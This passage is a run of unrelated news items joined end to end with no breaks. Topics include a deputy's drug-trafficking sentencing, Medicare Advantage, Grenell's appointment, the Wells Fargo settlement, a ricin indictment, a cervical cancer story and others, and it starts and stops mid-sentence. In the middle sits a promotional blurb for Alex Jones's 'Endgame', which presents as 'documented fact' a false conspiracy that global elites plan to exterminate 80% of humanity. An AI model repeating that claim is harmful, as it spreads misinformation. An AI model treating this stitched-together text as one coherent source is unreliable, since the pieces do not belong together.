a deal? In his transformation from cop to criminal, which began in 2014, Sandoval wore a bracelet bearing the image of the so-called patron saint of drug traffickers and hid $4,200 in cash in the tailpipe of his truck. He escorted a load of drugs through his northeastern New Mexico county for a $10,000 fee. After nearly 20 years in law enforcement, Sandoval, 50, will now spend the next seven years in federal prison for his drug trafficking and theft crimes that he committed while he was in uniform, wearing a badge and driving a sheriffs patrol car. He told Senior U.S. District Judge Judith Herrera at his sentencing hearing Thursday in Albuquerque that his conduct made no sense. He conceded that he had been tempted by the money and said he had disgraced his law enforcement agency, the public and his family. But the judge had little sympathy for Sandoval, a single father with a daughter in high school. The idea that someone entrusted with a public duty to protect, serve and thwart violators of the law, that someone who is a police officer could commit these crimes was just shameful. It was also shocking, Herrera said. The breach of public trust you committed is bad enough, but to take cuts from some of these drug traffickers, it just takes it to a whole new level. Sandoval pleaded guilty in 2016 to one count of attempted possession with intent to distribute cocaine and two counts of theft of government property, which was related to FBI funds used in the undercover investigation. Defendants obvious motive was greed. His respectable salary as a deputy sheriff did not satisfy his astonishing avarice. So he preyed upon people who he thought were unlikely to report his criminal conduct to the police out of fear of exposing their own wrongdoing, a U.S. attorneys sentencing memorandum said. From these facts, it is difficult to tell whether Defendant regarded himself as more of a public servant or a perpetrator. But only a criminal would hide $4,200 in cash in the tailpipe of his truck, Assistant U.S. Attorney Sean Sullivan wrote in the memorandum. Sandoval was accused of demanding a cut of the drug trade that uses Interstate 25 north from Mexico to move the product in exchange for safe passage or a police escort to Colorado. An incident on June 25, 2014, led to the undercover investigation by the New Mexico State Police and FBI. Sandoval stopped a car on I-25, stole $13,400 and confiscated the occupants marijuana. He let them go without a citation, but later that same day New Mexico State Police pulled over the same car on a routine stop along Interstate 40. The two men inside reported the earlier stop by Sandoval. By December 2014, Sandoval had stolen another $7,500 from undercover agents posing as narcotics traffickers. He stole an additional $2,000 from the same undercover agents a month later. Indeed, Defendant escalated the level of criminal activity at every turn, the memorandum said. Sandoval also recruited a friend to play the role of a Drug Enforcement Administration agent to convince his victims that he had a lawful purpose for taking their money. The most flagrant offense of all occurred Feb. 28, 2015, when Sandoval accepted $10,000 to escort a load of cocaine through Colfax County without interference, the U.S. Attorneys Office memorandum said. A videotape of that encounter with an undercover law enforcement agent was played in federal court Thursday. I didnt know what I was trying to do. I didnt know who I was trying to be, but it was wrong, an emotional Sandoval said after watching the video. Sandoval, a Democrat, was a candidate for sheriff in 2014, served in the Air Force from 1988 to 1992, was an officer in the Raton and Clayton police departments and worked at the Colfax County jail in 2003, according to published reports. We all know police work is pretty noble work and can be pretty dangerous, Herrera told Sandoval. People who become law enforcement officers choose to protect the public. You became one of the people law enforcement needed to protect the public against. How is Americans health affected? Which type of coverage produces better health outcomes? The evidence is mixed. Weve seen a number of studies that look at the available measures and try to give some indication of how Advantage is performing compared with traditional Medicare, Dr. Neuman said. It does better on some indicators, and on some others, traditional Medicare does better. Defenders of Advantage programs point to studies that conclude they are outperforming original Medicare in areas like preventive care, hospital readmission rates, admissions to nursing homes and mortality rates. And they note that the managed care approach is a key part of the programs success. But critics point to high levels of denial of care. Federal investigators reported in 2018 that Advantage plans had a pattern of inappropriately denying patient claims. The Office of Inspector General at the Department of Health and Human Services found widespread and persistent problems related to denials of care and payment in Medicare Advantage plans. Serious illness is a common motive for leaving an Advantage plan, according to many Medicare advocates and counseling services. After his diagnosis, Mr. Stein, a retired editorial cartoonist for the now-defunct Rocky Mountain News, contacted his Advantage plan to confirm that all of the doctors he wanted to see were in his network and was told that they were. But after surgery and the ensuing hospital stay, he found himself enmeshed in a series of conflicting messages about whether the treatment was covered. Confusion about network providers is widespread. In a review of provider directories completed in 2018, the Centers for Medicare and Medicaid Services found that 49 percent contained at least one inaccuracy. Errors included incorrect locations and phone numbers, and whether a provider was accepting new patients. Mr. Steins coverage is still in dispute, and there is no guarantee that his new plan will include his oncologist indefinitely. Advantage plans can drop providers at any time, and they do. We think of ourselves as sophisticated consumers, but when it comes to health care, it is almost impossible to figure it out, Mr. Stein said. Straight outta Manchester, 19-year-old Romaan is ready to show what he's made of with the release of his slick debut track 'Frozen Heart'. Romaan hasn't just entered the music arena, he's been writing since the age of 13, moving on to develop his passion for rap a few years later. Meeting his current producers, Dale and Akib allowed him to refine his style and direction. Frozen Heart is the end result of that journey but the first step into what promises to be a dazzling future. Romaan's family descend from Pakistan. As a young Asian growing up in the UK, he was surrounded by an eclectic range of music from Bollywood and Bhangra to pop and RnB; but music motivation came from a sibling! "My older brother and his best friend were a hip-hop duo and I guess that was a real inspiration for me, that's where I began. There were others that I drew from like Drake, PartyNextDoor, Ramriddlz, WizKid and others. I've been like a sponge and I've experimented and had fun along the way creating a mixture of dancehall, reggaeton and afrobeat styles within my music, as well as forms of hip hop and trap". Romaan has talent on tap. He's very versatile which is an invaluable strength for music artists. In an industry hungry for new talent and surrounded by many unpolished gems, we may have just found a diamond... Frozen Heart is OUT NOW via iTunes, Amazon and other digital outlets and available to stream. You can follow me at Follow @rupinder_rainer He says that the situation is very satisfactory now The head of the medical center Novi Sanzhary in the Poltava region Oleksandr Blinov spoke about sanitary measures and living conditions for those evacuated from the Chinese city of Wuhan. He said this on the 112 Ukraine channel. "We have climbers going to the pump station (sewer pumping station, - 112 International), this is our pump station. Disinfectionists will be thrown into this pump station every day at the indicated time. To do this, we have started a special journal, which is numbered and the time will be indicated at 17:00, disinfection of these effluents will be carried out," Blinov stated. The head of the medical center also said that the evacuated do not get any products that run off quickly. An agreement was concluded with a Poltava company, which delivers first and second courses in the boxes. Food supplies are generally organized, I think, like on an airplane. An agreement has been signed with a Poltava company that brings special boxes where there are first and second courses, he said. Oleksandr Blinov denied the fact that all employees of the medical center were sent on vacation at their own expense. He said that two employees were on sick leave and three more on vacation. Of these, one is visually impaired, and the other on vacation for family reasons. One man, according to Blinov, wrote a letter of resignation, but then he took it back. According to him, no one had any conversation with him and no one persuaded him to stay. As we reported before, Israel and Argentina thanked Ukraine for the evacuation of their citizens from China as the embassies of the countries reported. Donald Trump became the first president to name an openly gay person to a Cabinet-level position Wednesday when he announced that Richard Grenell would serve as his acting director of national intelligence. Grenell is the architect of a U.S.-led effort to decriminalize homosexuality in the 68 countries where it is still illegal. In two others, Iraq and Egypt, homosexuality is de facto illegal. Since Grenell's efforts were announced almost a year ago exactly, just one country has decriminalized homosexuality: Botswana, where the high court overturned the ban in June as part of a legal challenge that started long before 2019, according to Ryan Thoreson, an LGBTQ researcher for Human Rights Watch. The Human Rights Campaign, a U.S.-based LGBTQ rights organization, said it has seen "no meaningful efforts by this administration to decriminalize homosexuality around the world." "It would be different if they were trying, but it's not even clear they are doing anything meaningful at all," said Charlotte Clymer, an HRC spokeswoman. "It is yet another case of the Trump-Pence White House making promises to LGBTQ people, even while they enable discrimination and violence against us at home and abroad." The White House and the State Department didn't reply to requests for comment. The U.S. Embassy in Berlin hosted a roundtable in July devoted to decriminalizing homosexuality, and Grenell emphasized the complexity of the task at a U.N. breakout session in December devoted to the project: "We need to have 69 different plans of action because we are dealing with 69 different countries. It is a long road," he said, according to Fox News. Remy Bonny, a political scientist studying LGBTQ rights in eastern and central Europe, said the effectiveness of the session was unclear. "What came out of that, I don't know, and who actually went there, I don't know, because I have been asking around afterwards to LGBTI activists around Europe, and they all said, 'We have not been invited,'" Bonny said, using the European abbreviation that includes "intersex." Story continues However, Jessica Stern, executive director of OutRight Action International, an LGBTQ rights group based in New York, commended the spirit of Grenell's breakout session. "The most effective way to defend the rights of gay and lesbian people is to understand the drivers of intolerance and violence," Stern said. "The drivers of violence and discrimination against LGBTQI people are stereotypical notions of who a woman or a man should be, so unless we tackle root causes, such as biological determinism, then we won't really be able to fully defend the rights of LGBTQI people." Bonny said European LGBTQ activists have also questioned Grenell's decriminalization efforts because of the ambassador's associations with far-right European political parties that are often hostile to the rights of LGBTQ people and Muslims. "That's often a strategy that has been used by political parties like Alternative fur Deutschland and Front National," he said, referring to far-right parties in Germany and France campaigning on a link between LGBTQ safety and migration issues. "Front National had an openly gay candidate for vice president," Bonny said, and earned support from gay men in particular, The Associated Press reported in 2017. During his tenure as ambassador to Germany, Grenell developed a reputation for being outspoken on Twitter and Instagram, platforms he uses to denounce the Iranian government and to tangle with media outlets he thinks are too friendly to it. When Grenell announced his plan, NBC News reported that U.S. officials said the homosexuality campaign was "aimed in part at denouncing Iran over its human rights record." Follow NBC Out on Twitter, Facebook & Instagram For the New World Order, a world government is just the beginning. Once in place they can engage their plan to exterminate 80% of the world's population, while enabling the "elites" to live forever with the aid of advanced technology. For the first time, crusading filmmaker ALEX JONES reveals their secret plan for humanity's extermination: Operation ENDGAME. Jones chronicles the history of the global elite's bloody rise to power and reveals how they have funded dictators and financed the bloodiest warscreating order out of chaos to pave the way for the first true world empire. Watch as Jones and his team track the elusive Bilderberg Group to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. Learn about the formation of the North America transportation control grid, which will end U.S. sovereignty forever. Discover how the practitioners of the pseudo-science eugenics have taken control of governments worldwide as a means to carry out depopulation. View the progress of the coming collapse of the United States and the formation of the North American Union. Never before has a documentary assembled all the pieces of the globalists' dark agenda. Endgame's compelling look at past atrocities committed by those attempting to steer the future delivers information that the controlling media has meticulously censored for over 60 years. It fully reveals the elite's program to dominate the earth and carry out the wicked plan in all of human history. Endgame is not conspiracy theory, it is documented fact in the elite's own words. A new connection between Wisconsin and Minnesota is being developed for people looking for a safe path for non-motorized travel. While construction already has begun, the Bridging the Bluffs campaign is under way to gather the money needed to support the project. The connection is a branch of the Flyway Trail project, which originally was designed to create a new path between Alma and Trempealeau, Wis. But the idea of a new connection to Winona was one that would benefit communities on both sides of the river, said Dave Adcock, co-chair of the communications committee for the Bridging the Bluffs Campaign. Its the cornerstone of this entire trail project. And its the key to the future success of the overall the Flyway Trail, Adcock said. Theres a financial gain for this trail, he said, if this connection is created. It represents the key thats going to unlock $3.2 million in state and federal funding thats currently locked until we can reach the 20% private matching funds necessary to unlock those state and federal funds that were allocated for the completion of this project, he said. The Bridging the Bluff campaign is focused on raising these needed private funds, which will total about $1.2 million. With this safe connection, Adcock expects Winona to see an improvement in economic development and the workforce. People will be able to more easily commute from Wisconsin to work in the Winona, while Winonans will be able to travel to Wisconsin to enjoy the trails there. Adcock said the new opportunities that the connection will make are expected to increase the quality of life in Winona. I firmly believe that observation and participation in the outdoors leads directly to conservation and preservation of the outdoors, Adcock said. The Flyway Trail, with the Winona connector, will include an 842-foot bridge over the Mississippi River backwaters and the Burlington-Northern Santa Fe railroad. Adcock said that a large portion of the campaigns funds will go toward this bridge. The connector will also use the historic John A. Latsch Wagon Bridge, along with sections of the former Highway 54. The Flyway Trail has support from multiple entities, including the Wisconsin Department of Natural Resources, the Wisconsin Department of Transportation and the Buffalo County Board of Commissioners, along with other civic bodies and legislators. Support already has started to roll in for the campaign. Although Adcock refused to disclose the amount of money already raised, he did say some has already been collected. In a press release, campaign co-chair Jim Wilkie said: We are thankful for the initial outpouring of generosity we have received and are very excited to share our great start. Every gift matters and every gift counts toward the federal matching funds. Launch events for the campaign, which will include more information and a reveal of the total amount of money that has already been raised, will be Feb. 25 and March 3. Attendees will be able to enjoy appetizers and beverages, provided by Steakshop Catering Inc., Blooming Grounds Coffee House, Danzinger Vineyards, Elmaro Vineyard, Coca-Cola Bottling Co. of Winona and Kwik Trip. While walk-ins are accepted during the events, it is recommended attendees sign up online. Registration is open until Feb. 21 for the Feb. 25 event, and until Feb. 28 for the March 3 event. More info For more information about the campaign and Flyway Trail, visit flywaytrail.com or call 608-685-6235. Love 4 Funny 0 Wow 1 Sad 0 Angry 0 (Newser) Wells Fargo agreed Friday to pay the government $3 billion to settle investigations into a series of abuses that went on for years, including opening accounts for customers without their approval. The deal wraps up federal civil and criminal cases, the Wall Street Journal reports, though criminal charges could be pursued if the bank doesn't stick to its agreement, which includes cooperating with investigations for another three years. Wells Fargo makes a series of admissions in the settlement with the Justice Department and the Securities and Exchange Commission, per the Washington Post. The bank admits to taking millions of dollars in fees through the falsification of records and forging of signatures by thousands of its employees. Personal data of customers was "unlawfully misused," the agreement says, to help the bank reach sales goalsand sometimes to keep the customers from learning about the unauthorized accounts. story continues below "This case illustrates a complete failure of leadership at multiple levels within" the bank, said Nick Hanna, US attorney for central California. "Simply put, Wells Fargo traded its hard-earned reputation for short-term profits, and harmed untold numbers of customers along the way." The fine equals about 15% of the bank's profits last year. Wells Fargo is still one of the nation's largest and most profitable banks, but it has been in decline since the scandals surfaced in 2016. It still has issues with regulators; the Federal Reserve has slapped a cap on the bank's growth. Prosecutors said top executives knew of the abuses as far back as 2002. An internal investigation said Wells Fargo's decentralized management structure made it possible for the bosses to avoid doing anything about them. (Wells Fargo has changed CEOs a couple of times during the investigations.) CHISASIBI, QC, Feb. 20, 2020 /CNW/ - Making strategic investments in infrastructure projects that meet the specific needs of rural and northern communities is key to building stronger and more inclusive communities where everyone can succeed. The Honourable Maryam Monsef, Minister for Women and Gender Equality and Rural Economic Development, and Jonatan Julien, Minister of Energy and Natural Resources and Minister Responsible for the Cote-Nord Region, today announced a joint investment to replace 31 culverts on Chisasibi Road in northern Quebec. This road is the only access road to the Cree Nation of Chisasibi, which has a population of approximately 6,000 residents. Several culverts have reached the end of their useful life and need to be replaced to ensure the sustainability of the road link and reduce the risk of interruptions in the transportation of food to this community. The total cost of the project is more than $6.2 million. The Government of Canada is investing nearly $2.9 million in this project under the Rural and Northern Communities stream of the Investing in Canada Plan. The Government of Quebec is contributing nearly $3.4 million under the Plan quebecois des infrastructures 2019-2029. Quotes "I am very pleased to recognize our contribution to this project, which will help maintain access to this important region of northern Quebec and improve food security in the Cree Nation of Chisasibi. We have big plans to develop our regions because they are the driving force behind our country's success. That is why we are ensuring that they receive their fair share of infrastructure funding to improve the quality of life of all Canadians." The Honourable Maryam Monsef, Minister for Women and Gender Equality and Rural Economic Development "I am especially proud of our contribution to this road infrastructure project because facilitating access to the territory north of the 49th parallel is essential for our government. As well, we are happy to contribute to the very important improvement of the safety and comfort of this road for its users. We firmly believe that the Nord-du-Quebec region will continue its development thanks to investments in strategic projects like this one." Jonatan Julien, Minister of Energy and Natural Resources and Minister Responsible for the Cote-Nord Region "The rehabilitation of this vital road illustrates our government's commitment to maintaining the quality of our transportation infrastructure throughout northern Quebec. These investments will help ensure safe access to the region for all, and especially for the residents of Chisasibi." Pierre Dufour, Minister of Forests, Wildlife and Parks and Minister Responsible for the Abitibi-Temiscamingue Region and the Nord-du-Quebec Region "By carrying out this work, we are providing safe road access to the community. Our government is demonstrating that northern development is a priority. I am proud to represent this district and to present these projects to the National Assembly." Denis Lamothe, Member for Ungava "We are particularly pleased with this announcement, as the work that will be carried out as a result of this investment will make the access road to our community safer for residents, but also for the transportation of goods, and for tourist activities. This investment clearly demonstrates the willingness of our governments to take significant action to encourage growth in the Nord-du-Quebec region." Davey Bobbish, Chief of the Cree Nation of Chisasibi "The James Bay and Chisasibi Roads are important assets of the Societe de developpement de la Baie-James since they are essential to the development of the Nord-du-Quebec region. In this sense, we are delighted that both levels of government share this vision by investing in ensuring the sustainability of this road link." Alain Coulombe, Chief Executive Officer of the Societe de developpement de la Baie-James Quick facts Through the Investing in Canada Plan , the Government of Canada is investing more than $180 billion over 12 years in green infrastructure, social infrastructure, trade and transportation routes, public transit projects, and Canada's rural and northern communities. , the Government of is investing more than $180 billion over 12 years in green infrastructure, social infrastructure, trade and transportation routes, public transit projects, and rural and northern communities. $2 billion of this funding is supporting infrastructure projects that meet the unique needs of rural and northern communities, such as projects for facilities to ensure food security, local road safety and improved broadband connectivity. The James Bay Region Development and Municipal Organization Act, which created the SDBJ, was adopted by the Quebec National Assembly in 1971. As a result, the SDBJ has been in existence for more than 45 years. Its mission is to promote, from a sustainable development perspective, economic development, improvement and exploitation of natural resources other than hydroelectric resources under Hydro-Quebec's mandate, of the James Bay territory. It may, in particular, encourage, support and participate in the implementation of projects toward these ends. Associated links Investing in Canada Plan Project Map: https://www.infrastructure.gc.ca/gmap-gcarte/index-eng.html Infrastructure Canada investments Quebec: https://www.infrastructure.gc.ca/investments-2002-investissements/qc-eng.html Investing in Canada, Canada's long-term infrastructure plan: https://www.infrastructure.gc.ca/plan/about-invest-apropos-eng.html Plan quebecois des infrastructures 2019-2029 (PQI) : https://www.tresor.gouv.qc.ca/fileadmin/PDF/budget_depenses/19-20/fr/8-Infrastructures_publiques_Quebec.pdf Follow us on Twitter, Facebook and Instagram Website: Infrastructure Canada SOURCE Infrastructure Canada For further information: Sources: Alex Howell, Director of Communications and Press Secretary, Office of the Minister for Women and Gender Equality and Rural Economic Development, Tel: 819-420-7043, Email: [email protected]; Claude Potvin, Director of Communications and Press Secretary, Office of the Minister of Energy and Natural Resources and Minister responsible for the Cote-Nord region, Tel.: 418-643-7295; Carl Charest, Director of Communications and Press Secretary, Office of the Minister of Forests, Wildlife and Parks and Minister Responsible for the Abitibi Temiscamingue Region and the Nord-du-Quebec Region, Tel. : 418-454-4817, Email: [email protected]; Alain Coulombe, MBA, Chief Executive Officer, Societe de developpement de la Baie-James, Tel: 819-739-4717, ext. 1250, Fax: 819-739-4329, Email: [email protected]; For information: Media Relations, Infrastructure Canada, Tel.: 613-960-9251, Toll-free: 1-877-250-7154, Email: [email protected] Related Links www.infrastructure.gc.ca Our fascination with premature infants has always contained starry-eyed optimism about what could be done for them, along with uncertainty about whether the results were worth those efforts. That conflict goes back to the invention of the incubator in the 1880s, as Jeffrey Baker writes in The Machine in the Nursery. The medical establishment was slow to adopt the technology: The machine was expensive, and the value of the lives saved was seen as dubious. At the time, Better Baby contests were wildly popular, grading children on pseudoscientific traits like head measurements and awarding prizes to the fittest (i.e. large, able-bodied babies of white European heritage). Eugenicists argued that premature babies werent meant to survive; they would become a drain on society. The Buffalo Medical Journal wondered whether the race as a whole does not suffer from the preservation of these weaklings to perpetuate their kind. As a result, incubators remained a curiosity, touring worlds fairs and popping up in Coney Island as a boardwalk sideshow. People paid to gawk at preemies in their warm, glass-fronted boxes they were objects of voyeuristic amazement, inspiring both hope and horror. But by any objective or historical measure, Mr. Buttigieg is not a moderate. Mr. Buttigiegs proposed tax increases dwarf those of past Democratic presidential nominees. He has proposed a massive $7 trillion in tax increases over the next decade. Thats five times the size of the tax increases proposed by 2016 Democratic presidential nominee Hillary Clinton and more than double the size of the tax increases proposed by former vice president Joe Biden in his current campaign for president. Bolivia's electoral tribunal on Wednesday denied press reports that it has disqualified former president Evo Morales from standing as a Senate candidate in May's general election. "No decision has yet been made about any candidacy. All candidacies are being analyzed and reviewed," said tribunal head Salvador Romero. Those of Morales, former foreign minister Diego Pary, who is also running for a Senate seat, and Morales' Movement for Socialism presidential nominee Luis Arce are being scrutinized by the tribunal. Following their initial submissions, the tribunal told the candidates last week that they were missing some necessary documentation and gave them two days to supply it. It has now been a week since that deadline passed, with still no decision taken. Opponents of Morales have stepped up pressure to have him barred from standing. A regional interest group in Santa Cruz, Bolivia's commercial hub, protested outside the local election tribunal on Wednesday, demanding Morales be disqualified. The Pro Santa Cruz Committee, which held huge anti-Morales rallies between October's disputed election and his resignation on November 10, also called on authorities to seize the 60-year-old former trade union leader's assets. Some politicians have argued that the constitution bars legislative candidates who have not been resident in the country for at least two years prior to an election. Morales fled to Mexico the day of his resignation. This followed three weeks of at times violent protests against his re-election to a fourth successive term in a poll the Organization of American States said was rigged. Now living in Argentina, where he accepted political asylum, Morales has vowed to return to Bolivia to run MAS's election campaign. But he faces arrest if he does after the interim government accused him of sedition and terrorism over a telephone recording in which he allegedly urges his supporters to lay siege to major cities such as La Paz. In the latest opinion polls, the MAS presidential candidate Arce was leading with 31.6 percent ahead of centrist former president Carlos Mesa (17.1) and conservative interim President Jeanine Anez (16.5). In fourth place was right-wing candidate Luis Fernando Camacho, a major figure in the Pro Santa Cruz Committee, who on Tuesday called on his fellow centrist and right-wing rivals to join forces behind a single candidate in a bid to defeat Arce in May. SACRAMENTO, Calif. - An Eastern European man who authorities say sent a Christmas card to the Unabomber has been indicted on charges of mailing packages of a potentially deadly poison to a California state prison, officials said Friday. A U.S. grand jury in San Francisco indicted Vladislav Victorvic Timoshchuk on Thursday on charges of mailing two envelopes containing ricin to Pelican Bay State Prison in July. One was addressed to the warden and came with note warning in all capital letters that it was laced with deadly ricin powder. The other was sent to a purported prison gang member and called on officials to release that inmate. Timoshchuk, 34, was once a California inmate and was deported to Belarus after his release. From 2016 into 2018, officials at Pelican Bay intercepted mail from Belarus to members of a prison gang, including to the inmate who recently was sent the ricin. In 2017, the Anaheim Police Department investigated a threat demanding the release of that same inmate if authorities wanted to avoid the execution of a school student each day until he was released. Last year the federal Bureau of Prisons intercepted a Christmas card from Belarus to Theodore Kaczynski, the Unabomber, in which authorities say Timoshchuk claimed responsibility for the threats to Anaheim schools and discussed his plan to mail ricin to the United States. Kaczynski carried out a series of mail bombings that killed three people and injured 23 before his arrest in 1996, and is now serving a life sentence in Colorado. Thursdays indictment charges Timoshchuk only with the two mailings to Pelican Bay. He is not in custody and federal prosecutors would not say if they expect him to be taken into custody in Belarus or returned to the United States for prosecution. Belarus does not have an extradition treaty with the United States. He could face up to life in prison if he is convicted of the attempted transfer of a toxin for use as a weapon. Timoshchuk was sent to prison in 2006 on multiple charges from San Diego and Yolo counties for robbery, vehicle theft and battery on a peace officer. He was paroled in 2011. He was never housed at Pelican Bay. A mother has been diagnosed with cervical cancer after she waited 10 years go for a smear test and ignored appointment letters. Kim Montgomery, 31, from Dunfermline, Fife, had her first screening when she was 21, the age women in Scotland were invited before a law change in 2016. She said being pregnant with her four children 'back to back' for three years contributed to her putting off another test. But after experiencing abnormal bleeding for nine months, Ms Montgomery finally decided she should have a smear test and said she 'had a feeling' she had cancer. A smear test doesn't spot cancer. Instead it looks for abnormal changes in the cells of the cervix that could develop into cancer. Doctors found abnormal cells, and Ms Montgomery was later given the devastating news of cervical cancer on February 5 after a biopsy. She is still waiting for results about her prognosis. The former hairdresser said if she had not ignored the reminder letters about her smear test for so long she wouldn't be fighting cancer today. Kim Montgomery, 31, from Dunfermline, Fife, is warning other women to have their smear tests, after she avoided having one for ten years and was diagnosed with cervical cancer Ms Montgomery said being pregnant with her four children 'back to back' for three years contributed to her putting off another test. She is mother to Macaulay, three, Kayla, five, Lacey, six, and Dylan, 11, is worried about having to tell her children she is dying Ms Montgomery said: 'I didn't think I was ever going to get cancer - I am only 31. 'I got lots of reminders about going but I just ignored them. 'I had been pregnant with my four children back to back for three years and you can't have a smear test when you are pregnant. 'That was a huge factor in why I didn't get one for so long, but I also just didn't realise how important it was.' Ms Montgomery is now urging other women to attend screenings, even if they find it embarrassing. The quick test involves having a plastic instrument called a speculum gently inserted into the vagina, before a nurse uses a soft brush to take samples of cells from the cervix. The NHS cervical screening programme invites women aged between 25 and 64 for cervical screening. The test picks up changes that could develop into cervical cancer if left untreated, therefor prevented cancer. Up until 2016, women in Scotland were requested to attend a smear test every three years when they reached 20 years old. This changed to 25. Recalling her first smear aged 21, Ms Montgomery, said: 'I remember it wasn't nice so I wasn't in a hurry to go back.' Years passed, until Ms Montgomery started noticing she was bleeding from her vagina - a tell-tale sign of cervical cancer. It prompted her to finally go for a smear test. Vaginal bleeding is very common and can have a wide range of causes, so is not necessarily a sign of cervical cancer. But Ms Montgomery said she had a sinister feeling. She said: 'I had abnormal bleeding for more than nine months and I am still bleeding now. 'I was worried about it but I just kept putting it off until I thought enough is enough I have to go and get it done. After experiencing abnormal bleeding for nine months, Ms Montgomery finally decided she should have a smear test and said she 'had a feeling' she had cancer WHAT IS CERVICAL CANCER? Cervical cancer affects the lining of the lower part of womb. The most common symptom is unusual bleeding, such as between periods, during sex or after the menopause, but other signs can include: Pain during sex Vaginal discharge that smells Pain in the pelvis Causes can include: Age - more than half of sufferers are under 45 HPV infection - which affects most people at some point in their lives Smoking - responsible for 21 per cent of cases Contraceptive pill - linked to 10 per cent of cases Having children Family history of cervical or other types of cancer, like vagina Source: Cancer Research UK Advertisement 'I had the smear test on December 20 and then in the new year I got a letter to say I had abnormal cells. 'I thought right away it was cancer, I just had a feeling, but it wasn't real until the doctors told me and I broke down. 'You automatically think you are going to die.' One in 20 women who have their smear test show abnormal changes to the cells of their cervix. In some cases, these need to be removed or can become cancerous. Ms Montgomery had further investigations of the abnormal cells on her cervix, including a biopsy. This confirmed she had cervical cancer. She became one of around 3,200 women in the UK diagnosed with the disease every year. An estimated 852 women will die from the disease every year, according to Cancer Research UK. In the US, 13,800 new cases of invasive cervical cancer are diagnosed every year, and about 4,290 women will die. Ms Montgomery said: 'I was told the cancer is grade two, but I don't know what stage it is or if it has spread.' Ms Montgomery won't know if the cancer has spread until the results of an MRI come back. The grading is a measure of how much the cancer cells look like normal cells - Ms Montgomery's is two out of three. She said medics fear she will need a hysterectomy - removal of her reproductive organs - and chemotherapy. Ms Montgomery, mother to Macaulay, three, Kayla, five, Lacey, six, and Dylan, 11, is worried about having to tell her children she is dying if doctors give her a terminal diagnosis. She said: 'The doctors won't be able to tell me how long I have had it, but if I had just gone for a test they would have caught it before it turned into cancer. 'I didn't want to tell my children until I found out if it's terminal. 'They know I am not well, and I have told my eldest who said right away "are you going to die". 'The doctors said they think I will need chemo and a hysterectomy. It's really daunting and I wanted to have more children, but I just feel lucky I have my four.' Ms Montgomery, who has worked as a hair extension technician, said: 'Since I announced I have cancer on Facebook 19 women have said it's encouraged them to go and have their smear test done. 'I want to raise awareness of how important it is for people to have their smear test. 'I hope me sharing my story means more lives can be saved.' Ms Montgomery and her heartbroken partner, Dane Paten, 30, are now trying to raise money for 'alternative treatment'. You can donate here. New Delhi, Feb 21 : Non-telecom company PowerGrid Corporation of India Ltd (PGCIL), which has been asked by the DoT to pay Rs 22,000 crore AGR dues, would not be liable to make these payments, an analyst report said. "We don't believe the PGCIL would be liable to make these payments and hence do not factor these in our estimates. An unfavorable outcome therefore remains a negative risk," Bank of America Securities said in a report. The report said the dues demanded by DoT are twice the firm's FY20E earnings, and the CPSE is awaiting clarity on payment. On October 24, the Supreme Court asked companies to pay dues to the Department of Telecom as per the computation of AGR decided by the government. The telecom companies like Airtel, and Vodafone Idea has gone to the Court again through a modification petition which were also dismissed and now are paying gradually. The demand notice also went to non-telecom companies like Oil India, which got a notice of Rs 48,489 crore, and the GNFC got a bill of Rs 15,000 crore. In provisional assessment orders, DoT has raised a demand on GAIL of Rs 1.83 lakh crore towards annual license fee including interest and penalty on AGR. The DoT, through its provisional assessments for years FY15-18 and reassessment for FY 13/14, has demanded from the PGCIL Rs 22,000 crore of additional license fee, by adding non-telecom revenues in the PGCIL's AGR calculations. The amount is 23 per cent of the PGCIL's market cap, and twice its FY20E earnings. The PGCIL has previously said its stand is against payment of these dues. It had said: "Non-telecom income not a part of AGR for NLD/ISP licenses and the PGCIL holds National Long Distance (NLD) and Internet Service Provider (ISP) licenses and has regularly made applicable AGR based license fee payments to DoT." It believes the definition of AGR under NLD & ISP license agreements does not include non-telecom revenue. Such revenue, which it views the DoT to have incorrectly included in its AGR calculations, are 98 per cent of its total sales. Moreover, to strengthen its argument, the PGCIL has cited the example of DoT's recent assessment for FY19, where it excluded the PGCIL's non-telecom/miscellaneous income. The PGCIL believes the current dispute is on interpretation of AGR of telcos, who hold Unified Access Service License (UASL) and who have migrated from National Telecom Policy (NTP) 1994 to NTP 1999. PGCIL was not a licensee prior to 2001 & has never held a UASL, BoA said. The Charger Blog Students taking "Human Ecology in Coastal Systems" step out of the classroom and into the Alaskan wilderness, where they connect with the natural environment and with local stakeholders. The next cohort of students will visit Alaska this spring. By Renee Chmiel, Office of Marketing and Communications For students taking Human Ecology in Coastal Systems, the Alaskan wilderness is their classroom. For Katrina Vickery 21, watching bald eagles flying overhead as she sat around a campfire, seeing orcas swimming nearby while she was on the water, and learning about sea lions at an aquarium were all part of a regular day in class. That classroom just happened to be in the Alaskan wilderness as part of her "Human Ecology in Coastal Systems" course, which enables students to explore "The Last Frontier." "My favorite part of the trip was hiking up to Exit Glacier at Kenai Fjords National Park," said Vickery, a marine biology and environmental science double major. "As we hiked, we passed signs that stated the year in which the glacier had once reached that very spot. Each step we took represented more and more ice that has been lost over time due to climate change. It was not only a breathtaking view, but also, an incredibly impactful and meaningful experience." Students enjoy some downtime in Alaska. While interacting with coastal and marine stakeholders, Vickery and her classmates learned about coastal policy and sustainability. They met individuals with myriad perspectives and interests, including commercial and recreational fishermen, researchers, environmental educators, and representatives of the tourism industry. Tarsila Seara, Ph.D., coordinator of the Universitys marine affairs program who teaches the course, believes Alaska offers students unique opportunities to develop important research and professional skills. "It was not only a breathtaking view, but also, an incredibly impactful and meaningful experience." Katrina Vickery 21 "Alaska is a fantastic location to study coastal and marine policy for several reasons," she said. "Students learn the importance of its fishing industry, of its offshore oil and gas industries to the state economy, and of its proximity to the Arctic Circle and the consequent impact of climate change on the local environment all while experiencing one of the most beautiful places on the planet." The course, which will be offered again in May, will be led by Dr. Seara and Karin Jakubowski, Ph.D., practitioner in residence in the Universitys Biology and Environmental Science department. Designed to enable students to directly experience the social-ecological system in Alaska, the experience allows students to learn about the pressing challenges facing the environment and the societies that depend on it. Students learn about the environment and sustainability in Alaska. Vickery says that whether she was visiting a museum, camping in a wildlife refuge, or meeting with stakeholders, her experience in Alaska was meaningful and transformative. She believes her previous coursework at the University prepared her for the trip. "The most important thing I learned during this trip was that the marine world is very interconnected," she said. "The stakeholders we spoke with come from so many different backgrounds and professions, yet they all rely on each other and their local environment in so many unique ways. This experience reinforced my passion for scientific communication, and it allowed me to visualize the importance of educating the public on environmental change." The deadline to apply for this years program is February 28. For more information or to apply, click here. Senator Elizabeth Warren aimed to capitalize on her 